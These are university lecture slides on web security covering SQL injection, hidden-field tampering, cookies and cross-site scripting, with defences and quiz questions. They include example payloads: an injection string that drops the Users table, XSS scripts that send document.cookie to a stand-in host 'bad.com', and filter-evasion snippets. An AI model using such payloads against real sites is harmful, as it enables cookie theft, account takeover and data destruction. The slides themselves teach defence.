Software Security

Building Security in

CMSC330 Fall 2020
SQL Injection

• SQL injection is a code injection attack that aims to steal or corrupt information kept in a server-side database.
Relational Databases and SQL Queries

Need to protect this state from illicit access and tampering.
Relational Data as Tables

• A relational database organizes information as tables of records.

<table>
<thead>
<tr>
<th>Name</th>
<th>Gender</th>
<th>Age</th>
<th>Email</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>Dee</td>
<td>F</td>
<td>28</td>
<td><a href="mailto:dee@pp.com">dee@pp.com</a></td>
<td>j3i8g8ha</td>
</tr>
<tr>
<td>Mac</td>
<td>M</td>
<td>7</td>
<td><a href="mailto:bouncer@pp.com">bouncer@pp.com</a></td>
<td>a0u23bt</td>
</tr>
<tr>
<td>Charlie</td>
<td>M</td>
<td>32</td>
<td><a href="mailto:aneifjask@pp.com">aneifjask@pp.com</a></td>
<td>0aergja</td>
</tr>
<tr>
<td>Dennis</td>
<td>M</td>
<td>28</td>
<td><a href="mailto:imagod@pp.com">imagod@pp.com</a></td>
<td>1bjb9a93</td>
</tr>
<tr>
<td>Frank</td>
<td>M</td>
<td>57</td>
<td><a href="mailto:armed@pp.com">armed@pp.com</a></td>
<td>zio9g9ga</td>
</tr>
</tbody>
</table>
SQL (Standard Query Language)

SELECT Age FROM Users WHERE Name='Dee';

UPDATE Users SET email='readgood@pp.com'
WHERE Age=32; -- this is a comment

INSERT INTO Users Values('Frank', 'M', 57, ...);

DROP TABLE Users;
Server-side data

• Typically want **ACID** transactions

  • **Atomicity**
    - Transactions complete entirely or not at all
  
  • **Consistency**
    - The database is always in a valid state
  
  • **Isolation**
    - Results from a transaction aren’t visible until it is complete
  
  • **Durability**
    - Once a transaction is committed, its effects persist despite, e.g., power failures

• **Database Management Systems** (DBMSes) provide these properties (and then some)
Web Server SQL Queries

Website

“Login code” (Ruby)

result = db.execute "SELECT * FROM Users
    WHERE Name='#{user}' AND Password='#{pass}';"

Suppose you successfully log in as user if this returns any results

How could you exploit this?
SQL injection

result = db.execute "SELECT * FROM Users
    WHERE Name='#{user}' AND Password='#{pass}';"

Always true
(s: dumps whole user DB)
SQL injection

result = db.execute "SELECT * FROM Users
WHERE Name='#{user}' AND Password='#{pass}';"

result = db.execute "SELECT * FROM Users
WHERE Name='frank' OR 1=1;
DROP TABLE Users; --'
AND Password='whocares';";

Can chain together statements with semicolon:
STATEMENT 1 ; STATEMENT 2
SQL injection

http://xkcd.com/327/
The Underlying Issue

- This one string combines the code and the data
  - Similar to buffer overflows
  - and command injection

When the boundary between code and data blurs, we open ourselves up to vulnerabilities
The underlying issue

```ruby
result = db.execute "SELECT * FROM Users
    WHERE Name='#{user}' AND Password='#{pass}';"
```

Intended AST for parsed SQL query

Should be **data**, not **code**
Defense: Input Validation

Just as with command injection, we can defend by **validating input**, e.g.,
• **Reject** inputs with bad characters (e.g., ; or --)

• **Remove** those characters from input

• **Escape** those characters (in an SQL-specific manner)

These can be effective, but the best option is to avoid constructing programs from strings in the first place
Sanitization: Prepared Statements

- **Treat user data according to its** type
  - Decouple the code and the data

```python
result = db.execute "SELECT * FROM Users
WHERE Name='#{user}' AND Password='#{pass}';"
```

```python
stmt = db.prepare("SELECT * FROM Users WHERE
Name = ? AND Password = ?")
```

**Variable binders parsed as strings**

```python
result = stmt.execute (user, pass)
```

**Arguments**
Using Prepared Statements

```python
stmt = db.prepare("SELECT * FROM Users WHERE Name = ? AND Password = ?")
result = stmt.execute(user, pass)
```

Binding is only applied to the leaves, so the structure of the AST is fixed.

```
--
frank' OR 1=1);
```

"
Advantages Prepared Statement

• The overhead of compiling the statement is incurred only once, although the statement is executed multiple times.
  • Execution plan can be optimized

• Prepared statements are resilient against SQL injection
  • Statement template is not derived from external input. Therefore, SQL injection cannot occur.
  • Values are transmitted later using a different protocol.
What is the benefit of using “prepared statements”?

A. With them it is easier to construct a SQL query
B. They provide greater protection than escaping or filtering
C. They ensure user input is parsed as data, not (potentially) code
D. User input is properly treated as commands, rather than as secret data like passwords
Quiz 1

What is the benefit of using “prepared statements”?

A. With them it is easier to construct a SQL query
B. They provide greater protection than escaping or filtering
C. They ensure user input is parsed as data, not (potentially) code
D. User input is properly treated as commands, rather than as secret data like passwords
The Internet

Browser

Web/FTP/etc. server

Client

Server

Need to protect this state from illicit access and tampering

(Much) user data is part of the browser

FS/DB is a separate entity, logically (and often physically)

(Private) Data

Filesystem/Database/etc.
Interception

- **Calls** to remote services could be *intercepted* by an adversary
  - **Snoop** on inputs/outputs
  - **Corrupt** inputs/outputs
- Avoid this possibility using *cryptography* (CMSC 414, CMSC 456)
Malicious clients

• Server needs to **protect itself against malicious clients**
  • Won’t run the software the server expects
  • Will probe the limits of the interface
Passing the buck

- Server needs to protect good clients from malicious clients that will try to launch attacks via the server
  - Corrupt the server state (e.g., uploading malicious files or code)
  - Good client interaction affected as a result (e.g., getting the malware)
HTTP is *stateless*

- The lifetime of an HTTP session is typically:
  - Client connects to the server
  - Client issues a request
  - Server responds
  - Client issues a request for something in the response
  - …. repeat ….
  - Client disconnects
- HTTP has no means of noting “oh this is the same client from that previous session”
  - *How is it you don’t have to log in at every page load?*
Maintaining State

- **Web application maintains ephemeral state**
  - Server processing often produces intermediate results
    - Not ACID, long-lived state
  - **Send** such state to the client
  - Client **returns the state** in subsequent responses

Two kinds of state: **hidden fields**, and **cookies**
Example: Online ordering

socks.com/order.php

Order

$5.50

socks.com/pay.php

The total cost is $5.50. Confirm order?

Yes  No

Separate page
Example: Online ordering

What’s presented to the user

```
<html>
<head>  <title>Pay</title>  </head>
<body>
<form action="submit_order" method="GET">
  The total cost is $5.50. Confirm order?
  <input type="hidden" name="price" value="5.50">
  <input type="submit" name="pay" value="yes">
  <input type="submit" name="pay" value="no">
</form>
</body>
</html>
```
Example: Online ordering

The corresponding backend processing

```c
if(pay == yes && price != NULL)
{
    bill_creditcard(price);
    deliver_socks();
}
else
    display_transaction_cancelled_page();
```
Example: Online ordering

What’s presented to the user

```html
<html>
<head>  <title>Pay</title> </head>
<body>

<form action="submit_order" method="GET">
The total cost is $5.50. Confirm order?
<input type="hidden" name="price" value="0.01">
<input type="submit" name="pay" value="yes">
<input type="submit" name="pay" value="no">

</body>
</html>
```
Solution: Capabilities

• Server maintains **trusted state** (while client maintains the rest)
  - Server stores intermediate state
  - Send a **capability** to access that state to the client
  - Client **references the capability** in subsequent responses

• Capabilities should be large, **random numbers**, so that they are hard to guess
  - To prevent illegal access to the state
Using capabilities

What’s presented to the user

```html
<html>
<head>  <title>Pay</title>  </head>
<body>

<form action="submit_order" method="GET">
The total cost is $5.50. Confirm order?
<input type="hidden" name="price" value="5.50">
<input type="submit" name="pay" value="yes">
<input type="submit" name="pay" value="no">

<input type="hidden" name="sid" value="781234">

</form>
</body>
</html>
```

Capability; the system will detect a change and abort
Using capabilities

The corresponding backend processing

```c
price = lookup(sid);
if(pay == yes && price != NULL)
{
    bill_creditcard(price);
    deliver_socks();
}
else
    display_transaction_cancelled_page();
```

But: we don’t want to pass hidden fields around all the time
- Tedious to add/maintain on all the different pages
- Have to start all over on a return visit (after closing browser window)
Statefulness with Cookies

- **Server maintains trusted state**
  - Server indexes/denotes state with a **cookie**
  - Sends cookie to the client, which stores it
  - Client returns it with subsequent queries to that same server
Cookies are key-value pairs

Set-Cookie: key=value; options; ....
Cookies

Set-Cookie: edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com

• Store “us” under the key “edition”
• This value is no good as of Wed Feb 18…
• This value should only be readable by any domain ending in .zdnet.com
• This should be available to any resource within a subdirectory of /
• Send the cookie with any future requests to <domain>/<path>
Requests with cookies

HTTP/1.1 200 OK
Date: Tue, 18 Feb 2014 08:20:34 GMT
Server: Apache
Set-Cookie: session-zdnet-production=6bhqcai10cbbcagu11sisac2p3; path=/; domain=zdnet.com
Set-Cookie: zregion=MTI5LjIuMTI5LjE1Mzp1czp1czp1zDjNmWY5YTDkODU1N2Q2YzMSNGU3M2Y1ZTRmM6
Set-Cookie: zregion=MTI5LjIuMTI5LjE1Mzp1czp1czp1zDjNmWY5YTDkODU1N2Q2YzMSNGU3M2Y1ZTRmM6
Set-Cookie: edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com
Set-Cookie: session-zdnet-production=59ob97fpinqe4bg6lte4dvvq11; path=/; domain=zdnet.com

Subsequent visit
Quiz 2

What is a web cookie?

A. A hidden field in a web form
B. A piece of state generated by the client to index state stored at the server
C. A key/value pair sent with all web requests to the cookie’s originating domain
D. A yummy snack
Quiz 2

What is a web cookie?

A. A hidden field in a web form
B. A piece of state generated by the client to index state stored at the server
C. A key/value pair sent with all web requests to the cookie’s originating domain
D. A yummy snack
Cookies and Web Authentication

• An *extremely common* use of cookies is to track users who have already authenticated

• If the user already visited http://website.com/login.html?user=alice&pass=secret with the correct password, then the server associates a “*session cookie*” with the logged-in user’s info

• Subsequent requests include the cookie in the request headers and/or as one of the fields: http://website.com/doStuff.html?sid=81asf98as8eak

• The idea is to be able to say “I am talking to the same browser that authenticated Alice earlier.”
Cookie Theft

- **Session cookies** are, once again, **capabilities**
  - The holder of a session cookie gives access to a site with the privileges of the user that established that session

- Thus, **stealing a cookie** may allow an attacker to **impersonate a legitimate user**
  - Actions that will seem to be due to that user
  - Permitting theft or corruption of sensitive data
Dynamic Web Pages

• Rather than static or dynamic HTML, web pages can be expressed as a program written in Javascript:

```html
<html><body>
  Hello, <b>
  <script>
    var a = 1;
    var b = 2;
    document.write("world: ", a+b, "</b>");
  </script>
</body></html>
```

Hello, world: 3
Javascript

- Powerful web page **programming language**
  - Enabling factor for so-called **Web 2.0**

- Scripts are embedded in web pages returned by the web server

- Scripts are **executed by the browser**. They can:
  - Alter page contents (DOM objects)
  - Track events (mouse clicks, motion, keystrokes)
  - Issue web requests & read replies
  - Maintain persistent connections (AJAX)
  - Read and set cookies

( no relation to Java )
What could go wrong?

- Browsers need to **confine Javascript’s power**

- A script on attacker.com should not be able to:
  - Alter the layout of a bank.com web page
  - Read keystrokes typed by the user while on a bank.com web page
  - Read cookies belonging to bank.com
Same Origin Policy

• Browsers provide isolation for javascript scripts via the Same Origin Policy (SOP)

• Browser associates web page elements...
  • Layout, cookies, events

• ...with a given origin
  • The hostname (bank.com) that provided the elements in the first place

\[
\text{SOP} = \text{only scripts received from a web page’s origin have access to the page’s elements}
\]
Cookies and SOP

Set-Cookie: edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com

- Store “en” under the key “edition”
- This value is no good as of Wed Feb 18…
- This value should only be readable by any domain ending in .zdnet.com
- This should be available to any resource within a subdirectory of /
- Send the cookie with any future requests to <domain>/<path>
Cross-site scripting (XSS)
"Huawei E355 wireless broadband modems include a web interface for administration and additional services. The web interface allows users to receive SMS messages using the connected cellular network," explained the advisory.

"The web interface is vulnerable to a stored cross-site scripting vulnerability. The vulnerability can be exploited if a victim views SMS messages that contain JavaScript using the web interface. A malicious attacker may be able to execute arbitrary script in the context of the victim's browser."

Huawei has prepared a fixing plan and started the development and test of fixed versions. Huawei will update the Security Notice if any progress is made," read the advisory.

FireEye director of technology strategy Jason Steer told V3 hackers could use the flaw for a variety of purposes. "Is it bad? Yes, XSS is a high-severity software flaw, because of its prevalence and its ability be used by attackers to trick users into giving away sensitive information such as session cookies," he said.

"By allowing hostile JavaScript to be executed in a user's browser they can do a number of things. The most popular things are performing account takeovers to steal money, goods and website defacement. If you could get an admin account then you can start changing policies and taking other important actions,"
XSS: Subverting the SOP

• Site attacker.com provides a malicious script

• Tricks the user’s browser into believing that the script’s origin is bank.com
  • Runs with bank.com’s access privileges

• One general approach:
  • Trick the server of interest (bank.com) to actually send the attacker’s script to the user’s browser!
  • The browser will view the script as coming from the same origin... because it does!
Two types of XSS

1. Stored (or “persistent”) XSS attack
   - Attacker leaves their script on the bank.com server
   - The server later unwittingly sends it to your browser
   - Your browser, none the wiser, executes it within the same origin as the bank.com server

2. Reflected XSS attack
   - Attacker gets you to send the bank.com server a URL that includes some Javascript code
   - bank.com *echoes* the script back to you in its response
   - Your browser, none the wiser, executes the script in the response within the same origin as bank.com
Stored XSS attack

1. **Inject malicious script**

2. **Request content**

3. **Receive malicious script**

4. **Execute the malicious script as though the server meant us to run it**

5. **Perform attacker action**

**GET** http://bad.com/steal?c=document.cookie

**GET** http://bank.com/transfer?amt=9999&to=attacker
Stored XSS Summary

• **Target**: User with *Javascript-enabled browser* who visits *user-influenced content* page on a vulnerable web service

• **Attack goal**: run script in user’s browser with the same access as provided to the server’s regular scripts (i.e., subvert the Same Origin Policy)

• **Attacker tools**: ability to leave content on the web server (e.g., via an ordinary browser).
  - Optional tool: a server for receiving stolen user information

• **Key trick**: Server fails to ensure that content uploaded to page does not contain embedded scripts
Remember Samy?

- Samy embedded Javascript program in his MySpace page (via stored XSS)
  - MySpace servers attempted to filter it, but failed
- Users who visited his page ran the program, which
  - made them friends with Samy;
  - displayed “but most of all, Samy is my hero” on their profile;
  - installed the program in their profile, so a new user who viewed profile got infected
- From 73 friends to 1,000,000 friends in 20 hours
  - Took down MySpace for a weekend
Reflected XSS attack

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute the malicious script as though the server meant us to run it
6. Steal valuable data

URL specially crafted by the attacker
Echoed input

- The key to the reflected XSS attack is to find instances where a good web server will echo the user input back in the HTML response

Input from bad.com:


Result from victim.com:

<html> <title> Search results </title> <body>
Results for socks :
... 
</body></html>
Exploiting echoed input

Input from bad.com:

```
<script>
    window.open(
        "http://bad.com/steal?c="
        + document.cookie)
</script>
```

Result from victim.com:

```
<html> <title> Search results </title> <body>
Results for <script> ... </script> ...
</body></html>
```

Browser would execute this within victim.com’s origin
Reflected XSS Summary

- **Target**: User with *Javascript-enabled browser* who uses a vulnerable web service that includes parts of URLs it receives in the web page output it generates.

- **Attack goal**: run script in user’s browser with the same access as provided to the server’s regular scripts.

- **Attacker tools**: get user to click on a specially-crafted URL. Optional tool: a server for receiving stolen user information.

- **Key trick**: Server does not ensure that it’s output does not contain foreign, embedded scripts.
Quiz 3

How are XSS and SQL injection similar?

A. They are both attacks that run in the browser
B. They are both attacks that run on the server
C. They both involve stealing private information
D. They both happen when user input, intended as data, is treated as code
Quiz 3

How are XSS and SQL injection similar?

A. They are both attacks that run in the browser
B. They are both attacks that run on the server
C. They both involve stealing private information
D. They both happen when user input, intended as data, is treated as code
Quiz 4

Reflected XSS attacks are typically spread by

A. Buffer overflows
B. Cookie injection
C. Server-side vulnerabilities
D. Specially crafted URLs
Quiz 4

Reflected XSS attacks are typically spread by

A. Buffer overflows
B. Cookie injection
C. Server-side vulnerabilities
D. Specially crafted URLs
XSS Defense: Filter/Escape

• Typical defense is **sanitizing**: remove all executable portions of user-provided content that will appear in HTML pages
  - E.g., look for `<script> ... </script>` or `<javascript> ... </javascript>` from provided content and remove it

  • So, if I fill in the “name” field for Facebook as `<script>alert(0)</script>` then the script tags are removed

• Often done on blogs, e.g., WordPress

  [https://wordpress.org/plugins/html-purified/](https://wordpress.org/plugins/html-purified/)
Problem: Finding the Content

• Bad guys are inventive: *lots* of ways to introduce Javascript; e.g., CSS tags and XML-encoded data:
  - `<div style="background-image: url(javascript:alert(‘JavaScript’))">...</div`
  - `<XML ID=I><X><C><![CDATA[<IMG SRC="javas]][CDATA[cript:alert(’XSS’);"]]></>`
• Worse: browsers “helpful” by parsing broken HTML!
• Samy figured out that IE permits javascript tag to be split across two lines; evaded MySpace filter
  • Hard to get it all
Better defense: **White list**

- Instead of trying to sanitize, ensure that your application validates all:
  - headers,
  - cookies,
  - query strings,
  - form fields, and
  - hidden fields (i.e., all parameters)

- … against a rigorous spec of what should be allowed.

- Example: Instead of supporting full document markup language, use a simple, restricted subset:
  - E.g., markdown
Summary

• The source of many attacks is carefully crafted data fed to the application from the environment

• Common solution idea: all data from the environment should be checked and/or sanitized before it is used
  • Whitelisting preferred to blacklisting - secure default
  • Checking preferred to sanitization - less to trust

• Another key idea: Minimize privilege